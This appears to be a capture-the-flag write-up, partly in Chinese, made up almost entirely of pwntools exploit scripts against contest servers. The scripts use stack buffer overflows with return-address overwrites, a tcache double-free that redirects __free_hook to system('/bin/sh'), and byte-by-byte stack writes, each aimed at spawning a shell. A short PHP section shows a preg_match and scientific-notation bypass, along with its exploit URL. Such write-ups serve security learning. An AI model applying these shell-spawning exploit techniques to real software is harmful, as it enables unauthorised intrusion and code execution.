M78
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
   | from pwn import * context.log_level = 'debug' context.terminal = ['tmux','sp','-h']
 
  p = remote("39.96.88.40",7010) libc = ELF("/lib/i386-linux-gnu/libc.so.6") elf = ELF("./M78")
  p.sendlineafter('?','1') p.recvuntil("building\n") p.send('a'*25) p.recvuntil("password\n")
 
 
  payload = 'b'*(0x18+0x4)+p32(0x08049202) payload = payload.ljust(0x107,'a')
  p.send(payload)
 
  p.interactive()
   | 
 
game
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
   | from pwn import *  context.log_level = "debug" context.terminal = ['tmux','sp','-h']
 
  p = remote("39.96.88.40",7040)
  payload = 'a'*36 payload += p64(0) num = [55,15,82,1,0x62,0x44,0x43,0xf,0x56,0x3]
 
 
  p.recvuntil("is :") p.send(payload)
  for i in num:     p.recvuntil(":")     p.sendline(str(i))
 
 
 
 
  p.interactive()
   | 
 
Box
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
   | from pwn import *
  context.terminal=['tmux','sp','-h']
 
 
  p = remote("39.96.88.40",7020)
  libc = ELF("./libc.so.6") elf = ELF("./pwn")
 
  def add(id,size,content='a'):     p.sendlineafter(">> ",'1')     p.sendlineafter(":\n",str(id))     p.sendlineafter(":\n",str(size))     p.sendafter(":\n",content) def show(id):     p.sendlineafter(">> ",'4')     p.sendlineafter(":\n",str(id)) def delete(id):     p.sendlineafter(">> ",'3')     p.sendlineafter(":\n",str(id)) def edit(id,content):     p.sendlineafter(">> ",'2')     p.sendlineafter(":\n",str(id))     p.sendafter(":\n",content)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
  add(0,0x200) add(1,0x68) for _ in range(7):     delete(0) delete(0) show(0)
  leak_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96 log.info("main_arean:"+hex(leak_addr)) libc_base = leak_addr - 0x3ebc40 log.info("libc_base:"+hex(libc_base)) system_addr = libc_base + libc.sym['system'] log.info("system_addr:"+hex(system_addr)) free_hook = libc_base + libc.sym['__free_hook'] log.info("free_hook:"+hex(free_hook)) binsh_str = libc_base + libc.search('/bin/sh').next()
  delete(1) delete(1) add(2,0x68,p64(free_hook)) add(3,0x68,"/bin/sh\x00") add(4,0x68,p64(system_addr))
 
 
  delete(3)
  p.interactive()
   | 
 
碰碰碰
爆破 canary ,主办方下架了题目
Num
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
   | from pwn import * context.log_level = 'debug' context.terminal = ['tmux','sp','-h']
 
  p = remote("39.96.88.40",7030) elf = ELF("./NUM")
  p.recvuntil("?\n") p.sendline(str(10))
 
  p.recvuntil("NUM\n") for i in range(10):     sleep(0.2)     p.sendline(str(i))
  shell = 0x080491B2
 
 
 
  p.recvuntil("?\n") p.sendline(str('3')) p.recvuntil("?\n") p.sendline(str(112+4+16)) p.recvuntil(':\n') p.sendline(str(0xb2))
  p.recvuntil("?\n") p.sendline(str('3')) p.recvuntil("?\n") p.sendline(str(113+4+16)) p.recvuntil(':\n') p.sendline(str(0x91))
  p.recvuntil("?\n") p.sendline(str('3')) p.recvuntil("?\n") p.sendline(str(114+4+16)) p.recvuntil(':\n') p.sendline(str(0x04))
  p.recvuntil("?\n") p.sendline(str('3')) p.recvuntil("?\n") p.sendline(str(115+4+16)) p.recvuntil(':\n') p.sendline(str(0x08))
  p.sendline(str(5))
  p.interactive()
   | 
 
Web01
源码泄露:http://39.96.91.106:7040/code/code.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
   | <?php <p>code.txt</p>
  if (isset ($_GET['password'])) {      	if (preg_match ("/^[a-zA-Z0-9]+$/", $_GET['password']) === FALSE) 	{ 		echo '<p>You password must be alphanumeric</p>';     } 	  else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) 	{     		if (strpos ($_GET['password'], '*-*') !== FALSE) 		{ 			die('Flag: ' . $flag); 		} 		else 		{ 			echo('<p>*-* have not been found</p>'); 		} 	} 	else 	{ 		echo '<p>Invalid password</p>'; 	} } ?>
   | 
 
if (preg_match ("/^[a-zA-Z0-9]+$/", $_GET['password']) === FALSE) 正则匹配检查无论如何都不会进入,因为 preg_match 的返回值是 int 0 用绝对等于 FALSE 是不相等的,FALSE 是 bool 型。
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) 用科学计数法绕过,然后再加上*-* 
exp
1
   | http://39.96.91.106:7040/?password=2e9*-*
   |